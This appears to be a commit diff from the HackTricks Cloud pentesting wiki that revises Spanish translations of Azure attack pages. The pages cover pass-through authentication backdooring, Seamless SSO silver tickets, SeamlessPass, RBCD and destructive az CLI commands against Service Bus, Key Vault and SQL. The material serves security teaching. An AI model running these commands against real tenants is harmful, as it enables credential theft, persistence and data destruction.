Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-01 23:54:00 +00:00
parent 536671c61c
commit 599a50fbec
206 changed files with 1113 additions and 1124 deletions

View File

@@ -1,11 +1,11 @@
Puedes eliminar este contenido antes de enviar el PR:
Puedes eliminar este contenido antes de enviar la PR:
## Attribution
Valoramos tu conocimiento y te animamos a compartir contenido. Asegúrate de que solo subes contenido que posees o que tienes permiso para compartir del autor original (agregando una referencia al autor en el texto añadido o al final de la página que estás modificando o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de compartición confiable y legal para todos.
Valoramos tu conocimiento y te animamos a compartir contenido. Asegúrate de que solo subas contenido que poseas o que tengas permiso para compartir del autor original (agregando una referencia al autor en el texto añadido o al final de la página que estás modificando o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de compartición confiable y legal para todos.
## HackTricks Training
Si estás añadiendo para que puedas aprobar el examen de la [certificación ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flags en lugar de 3, necesitas llamar al PR `arte-<username>`.
Si estás añadiendo para poder aprobar el examen de la [certificación ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flags en lugar de 3, necesitas llamar a la PR `arte-<username>`.
Además, recuerda que las correcciones de gramática/sintaxis no serán aceptadas para la reducción de flags del examen.
Además, recuerda que no se aceptarán correcciones de gramática/sintaxis para la reducción de flags del examen.
En cualquier caso, ¡gracias por contribuir a HackTricks!

2
.gitignore vendored
View File

@@ -3,8 +3,6 @@
# General
.DS_Store
.AppleDouble

View File

@@ -1,5 +1,5 @@
[book]
authors = ["Carlos Polop"]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"

View File

@@ -43,14 +43,14 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter['name']}')
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
logger.debug(f'Recursive title search result: {chapter['name']}')
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')

View File

@@ -1,6 +1,6 @@
# HackTricks Cloud
Reading time: {{ #reading_time }}
Tiempo de lectura: {{ #reading_time }}
{{#include ./banners/hacktricks-training.md}}
@@ -9,7 +9,7 @@ Reading time: {{ #reading_time }}
_Los logotipos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Bienvenido a la página donde encontrarás cada **truco/técnica/lo que sea relacionado con CI/CD y Cloud** que he aprendido en **CTFs**, **entornos** de **vida** **real**, **investigando** y **leyendo** investigaciones y noticias.
> Bienvenido a la página donde encontrarás cada **truco/técnica/lo que sea relacionado con CI/CD y Cloud** que he aprendido en **CTFs**, **entornos** de **vida real**, **investigando** y **leyendo** investigaciones y noticias.
### **Metodología de Pentesting CI/CD**
@@ -27,7 +27,7 @@ _Los logotipos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](
**Consúltalos en:**
[Valores y FAQ de HackTricks](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Estadísticas de Github

View File

@@ -505,5 +505,3 @@

View File

@@ -36,7 +36,7 @@ seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
- Posibilidad de escalar de Administrador Global a Administrador de Dominio local manipulando los nombres de usuario y SIDs de usuarios de AzureAD y solicitando TGTs de AzureAD.
- Posibilidad de escalar de Global Admin a Domain Admin local manipulando los nombres de usuario y SIDs de los usuarios de AzureAD y solicitando TGTs de AzureAD.
{{#ref}}
az-cloud-kerberos-trust.md

View File

@@ -4,11 +4,11 @@
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra su Active Directory local**.
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra su Active Directory local**.
En PTA, las **identidades** están **sincronizadas** pero las **contraseñas** **no** lo están como en PHS.
La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
### Flujo de Autenticación
@@ -16,7 +16,7 @@ La autenticación se valida en el AD local y la comunicación con la nube se rea
1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**.
2. Las **credenciales** son **encriptadas** y se colocan en una **cola** en Azure AD.
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA**.
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA.**
4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD, que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
> [!WARNING]
@@ -32,33 +32,33 @@ Install-AADIntPTASpy
> [!NOTE]
> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
También es posible **ver las contraseñas en texto claro enviadas al agente PTA** utilizando el siguiente cmdlet en la máquina donde se instaló la puerta trasera anterior:
También es posible **ver las contraseñas en texto claro enviadas al agente PTA** utilizando el siguiente cmdlet en la máquina donde se instaló el backdoor anterior:
```powershell
Get-AADIntPTASpyLog -DecodePasswords
```
This backdoor will:
Este backdoor hará:
- Crear una carpeta oculta `C:\PTASpy`
- Copiar un `PTASpy.dll` a `C:\PTASpy`
- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy se “descarga” y debe ser reinstalado.
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
### Cloud -> On-Prem
### Nube -> Local
> [!CAUTION]
> Después de obtener **privilegios GA** en la nube, es posible **registrar un nuevo agente PTA** configurándolo en una **máquina controlada por el atacante**. Una vez que el agente está **configurado**, podemos **repetir** los **pasos anteriores** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** configurándolo en una **máquina controlada por el atacante**. Una vez que el agente está **configurado**, podemos **repetir** los **pasos anteriores** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
### Seamless SSO
### SSO Sin Problemas
Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Revísalo en:
Es posible usar SSO Sin Problemas con PTA, que es vulnerable a otros abusos. Revísalo en:
{{#ref}}
seamless-sso.md
{{#endref}}
## References
## Referencias
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

View File

@@ -1,16 +1,16 @@
# Az - SSO Sin Interrupciones
# Az - Seamless SSO
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory SSO Sin Interrupciones (Azure AD Seamless SSO) **inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
Básicamente, Azure AD SSO Sin Interrupciones **inicia sesión a los usuarios** cuando están **en un PC unido a un dominio local**.
Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en un PC unido a un dominio local**.
Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
Es compatible tanto con [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) como con [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada AZUREADSSOACC`$`** en el AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Azure AD** durante la configuración.
@@ -38,7 +38,7 @@ Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Con el hash ahora puedes **generar tickets plateados**:
Con el hash ahora puedes **generar tickets de plata**:
```powershell
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -72,14 +72,14 @@ Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
#### Opción 2 sin dcsync - SeamlessPass
También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes:
También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como se [explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes:
- **Un TGT de usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Un TGT de un usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket**: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
- **El hash NTLM o la clave AES de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT.
- **Hash NTLM o clave AES de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).
Finalmente, con el TGT es posible utilizar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
Finalmente, con el TGT es posible usar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
@@ -87,15 +87,15 @@ Más información para configurar Firefox para trabajar con SSO sin problemas se
#### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos **también se pueden crear para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos pueden ser **creados también para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Cambiar el SID de los usuarios administradores solo en la nube ahora está **bloqueado por Microsoft**.\
> Para más información, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
> Para más información, consulta [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Nube a través de Delegación Constrainada Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
### On-prem -> Cloud a través de Delegación Constrained Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Cualquiera que pueda gestionar cuentas de computadora (`AZUREADSSOACC$`) en el contenedor u OU en el que se encuentra esta cuenta, puede **configurar una delegación constrainada basada en recursos sobre la cuenta y acceder a ella**.
Cualquiera que pueda gestionar cuentas de computadora (`AZUREADSSOACC$`) en el contenedor u OU en el que se encuentra esta cuenta, puede **configurar una delegación constrained basada en recursos sobre la cuenta y acceder a ella**.
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```

View File

@@ -1,4 +1,4 @@
# Az - Persistence
# Az - Persistencia
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,8 @@
# Az - Storage Persistence
# Az - Almacenamiento de Persistencia
{{#include ../../../banners/hacktricks-training.md}}
## Storage Privesc
## Privesc de Almacenamiento
Para más información sobre almacenamiento, consulta:
@@ -10,7 +10,7 @@ Para más información sobre almacenamiento, consulta:
../az-services/az-storage.md
{{#endref}}
### Trucos comunes
### Trucos Comunes
- Mantener las claves de acceso
- Generar SAS

View File

@@ -10,16 +10,16 @@ Para más información sobre VMs, consulta:
../az-services/vms/
{{#endref}}
### Aplicaciones de VM de puerta trasera, extensiones de VM e imágenes <a href="#backdoor-instances" id="backdoor-instances"></a>
### Aplicaciones, extensiones e imágenes de VM con puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
Un atacante identifica aplicaciones, extensiones o imágenes que se utilizan con frecuencia en la cuenta de Azure, podría insertar su código en las aplicaciones y extensiones de VM para que cada vez que se instalen, se ejecute la puerta trasera.
### Instancias de puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
### Instancias con puerta trasera <a href="#backdoor-instances" id="backdoor-instances"></a>
Un atacante podría acceder a las instancias y ponerles una puerta trasera:
Un atacante podría acceder a las instancias y ponerles puerta trasera:
- Usando un **rootkit** tradicional, por ejemplo
- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
- Poniendo una puerta trasera en los **Datos del Usuario**
- Poniendo puerta trasera en los **Datos del Usuario**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Privesc de Almacenamiento
## Storage Privesc
Para más información sobre almacenamiento, consulta:
Para más información sobre el almacenamiento, consulta:
{{#ref}}
../az-services/az-storage.md

View File

@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
Explotación posterior a la compartición de archivos
Explotación posterior de File Share
Para más información sobre las comparticiones de archivos, consulta:
Para más información sobre file shares consulta:
{{#ref}}
../az-services/az-file-shares.md
@@ -12,7 +12,7 @@ Para más información sobre las comparticiones de archivos, consulta:
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
Un principal con este permiso podrá **listar** los archivos dentro de una compartición de archivos y **descargar** los archivos que podrían contener **información sensible**.
Un principal con este permiso podrá **listar** los archivos dentro de un file share y **descargar** los archivos que podrían contener **información sensible**.
```bash
# List files inside an azure file share
az storage file list \

View File

@@ -1,16 +1,16 @@
# Az - Function Apps Post Exploitation
# Az - Funciones Apps Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## Función Apps Post Explotación
## Funciones Apps Post Explotación
Para más información sobre las aplicaciones de función, consulta:
Para más información sobre las funciones apps, consulta:
{{#ref}}
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **Los trucos de post explotación de las aplicaciones de función están muy relacionados con los trucos de escalada de privilegios** así que puedes encontrarlos todos allí:
> [!CAUTION] > **Los trucos de post explotación de Funciones Apps están muy relacionados con los trucos de escalada de privilegios**, así que puedes encontrarlos todos allí:
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md

View File

@@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
```
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
Este permiso permite a un principal cifrar datos utilizando una clave almacenada en el almacén.
Este permiso permite a un principal cifrar datos utilizando una clave almacenada en el vault.
```bash
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -37,7 +37,7 @@ az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm
```
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
Este permiso permite a un principal descifrar datos utilizando una clave almacenada en el almacén.
Este permiso permite a un principal descifrar datos utilizando una clave almacenada en el vault.
```bash
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>

View File

@@ -26,7 +26,7 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
Con este permiso, un atacante puede agregar nuevos mensajes a una Cola de Almacenamiento de Azure. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no deseadas o interrumpir servicios posteriores que procesan los mensajes.
Con este permiso, un atacante puede agregar nuevos mensajes a una Azure Storage Queue. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no intencionadas o interrumpir los servicios posteriores que procesan los mensajes.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
```
@@ -58,7 +58,7 @@ az storage message clear --queue-name <queue-name> --account-name <storage-accou
```
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Este permiso permite a un atacante crear o modificar colas y sus propiedades dentro de la cuenta de almacenamiento. Se puede utilizar para crear colas no autorizadas, modificar metadatos o cambiar listas de control de acceso (ACLs) para otorgar o restringir el acceso. Esta capacidad podría interrumpir flujos de trabajo, inyectar datos maliciosos, exfiltrar información sensible o manipular configuraciones de colas para habilitar ataques adicionales.
Este permiso permite a un atacante crear o modificar colas y sus propiedades dentro de la cuenta de almacenamiento. Se puede utilizar para crear colas no autorizadas, modificar metadatos o cambiar listas de control de acceso (ACLs) para otorgar o restringir acceso. Esta capacidad podría interrumpir flujos de trabajo, inyectar datos maliciosos, exfiltrar información sensible o manipular configuraciones de colas para habilitar ataques adicionales.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>

View File

@@ -1,4 +1,4 @@
# Az - Service Bus Post Explotación
# Az - Service Bus Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -16,32 +16,32 @@ Un atacante con este permiso puede eliminar un espacio de nombres completo de Az
```bash
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
### Acciones: `Microsoft.ServiceBus/namespaces/topics/Delete`
Un atacante con este permiso puede eliminar un tema de Azure Service Bus. Esta acción elimina el tema y todas sus suscripciones y mensajes asociados, lo que puede causar la pérdida de datos críticos y interrumpir sistemas y flujos de trabajo que dependen del tema.
```bash
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
```
### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
### Acciones: `Microsoft.ServiceBus/namespaces/queues/Delete`
Un atacante con este permiso puede eliminar una cola de Azure Service Bus. Esta acción elimina la cola y todos los mensajes dentro de ella, lo que puede causar la pérdida de datos críticos y interrumpir sistemas y flujos de trabajo dependientes de la cola.
```bash
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
### Acciones: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
Un atacante con este permiso puede eliminar una suscripción de Azure Service Bus. Esta acción elimina la suscripción y todos sus mensajes asociados, lo que puede interrumpir flujos de trabajo, procesamiento de datos y operaciones del sistema que dependen de la suscripción.
```bash
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
```
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
### Acciones: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
Un atacante con permisos para crear o modificar espacios de nombres de Azure Service Bus puede explotar esto para interrumpir operaciones, implementar recursos no autorizados o exponer datos sensibles. Pueden alterar configuraciones críticas, como habilitar el acceso a la red pública, degradar la configuración de cifrado o cambiar SKUs para degradar el rendimiento o aumentar costos. Además, podrían deshabilitar la autenticación local, manipular ubicaciones de réplicas o ajustar versiones de TLS para debilitar los controles de seguridad, lo que convierte la mala configuración del espacio de nombres en un riesgo significativo de post-explotación.
Un atacante con permisos para crear o modificar namespaces de Azure Service Bus puede explotar esto para interrumpir operaciones, desplegar recursos no autorizados o exponer datos sensibles. Pueden alterar configuraciones críticas como habilitar el acceso a la red pública, degradar configuraciones de cifrado o cambiar SKUs para degradar el rendimiento o aumentar costos. Además, podrían deshabilitar la autenticación local, manipular ubicaciones de réplicas o ajustar versiones de TLS para debilitar los controles de seguridad, lo que convierte la mala configuración de namespaces en un riesgo significativo de post-explotación.
```bash
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
```
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
### Acciones: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
Un atacante con permisos para crear o modificar colas de Azure Service Bus (para modificar la cola también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/queues/read`) puede explotar esto para interceptar datos, interrumpir flujos de trabajo o habilitar acceso no autorizado. Pueden alterar configuraciones críticas como el reenvío de mensajes a puntos finales maliciosos, ajustar el TTL de los mensajes para retener o eliminar datos de manera inapropiada, o habilitar el dead-lettering para interferir con el manejo de errores. Además, podrían manipular los tamaños de las colas, las duraciones de bloqueo o los estados para interrumpir la funcionalidad del servicio o evadir la detección, lo que convierte esto en un riesgo significativo de post-explotación.
```bash
@@ -50,7 +50,7 @@ az servicebus queue update --resource-group <ResourceGroupName> --namespace-name
```
### Acciones: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
Un atacante con permisos para crear o modificar temas (para modificar el tema también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de un espacio de nombres de Azure Service Bus puede explotar esto para interrumpir flujos de mensajes, exponer datos sensibles o habilitar acciones no autorizadas. Usando comandos como az servicebus topic update, pueden manipular configuraciones como habilitar la partición para un uso indebido de escalabilidad, alterar configuraciones de TTL para retener o descartar mensajes de manera inapropiada, o deshabilitar la detección de duplicados para eludir controles. Además, podrían ajustar los límites de tamaño del tema, cambiar el estado para interrumpir la disponibilidad, o configurar temas expresos para almacenar temporalmente mensajes interceptados, haciendo que la gestión de temas sea un enfoque crítico para la mitigación post-explotación.
Un atacante con permisos para crear o modificar temas (para modificar el tema también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de un espacio de nombres de Azure Service Bus puede explotar esto para interrumpir flujos de trabajo de mensajes, exponer datos sensibles o habilitar acciones no autorizadas. Usando comandos como az servicebus topic update, pueden manipular configuraciones como habilitar la partición para un uso indebido de escalabilidad, alterar configuraciones de TTL para retener o descartar mensajes de manera inapropiada, o deshabilitar la detección de duplicados para eludir controles. Además, podrían ajustar los límites de tamaño del tema, cambiar el estado para interrumpir la disponibilidad, o configurar temas expresos para almacenar temporalmente mensajes interceptados, haciendo que la gestión de temas sea un enfoque crítico para la mitigación post-explotación.
```bash
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
@@ -64,7 +64,7 @@ az servicebus topic subscription update --resource-group <ResourceGroupName> --n
```
### Acciones: `AuthorizationRules` Enviar y Recibir Mensajes
Mira aquí:
Echa un vistazo aquí:
{{#ref}}
../az-privilege-escalation/az-queue-privesc.md

View File

@@ -4,7 +4,7 @@
## SQL Database Post Exploitation
Para más información sobre SQL Database, consulta:
Para más información sobre SQL Database consulta:
{{#ref}}
../az-services/az-sql.md
@@ -12,7 +12,7 @@ Para más información sobre SQL Database, consulta:
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales.
Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales.
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
@@ -22,7 +22,7 @@ az sql db update --resource-group <resource-group> --server <server-name> --name
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales.
Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales.
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -42,7 +42,7 @@ az sql elastic-pool update \
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se mantenga un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría.
Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se realice un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría.
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -53,7 +53,7 @@ az sql server audit-policy update \
```
